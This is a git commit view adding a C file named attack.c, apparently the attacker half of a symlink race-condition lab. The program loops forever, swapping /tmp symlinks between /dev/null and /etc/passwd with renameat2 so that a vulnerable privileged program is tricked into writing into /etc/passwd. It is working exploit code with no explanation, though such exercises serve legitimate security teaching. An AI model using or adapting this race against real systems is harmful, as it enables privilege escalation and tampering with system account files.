first commit

This commit is contained in:
2026-03-26 12:36:41 -05:00
commit 7d87b9b488
6 changed files with 55 additions and 0 deletions

13
attack.c Normal file
View File

@@ -0,0 +1,13 @@
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
int main()
{
unsigned int flags = RENAME_EXCHANGE;
unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
while(1){
renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
}
return 0;
}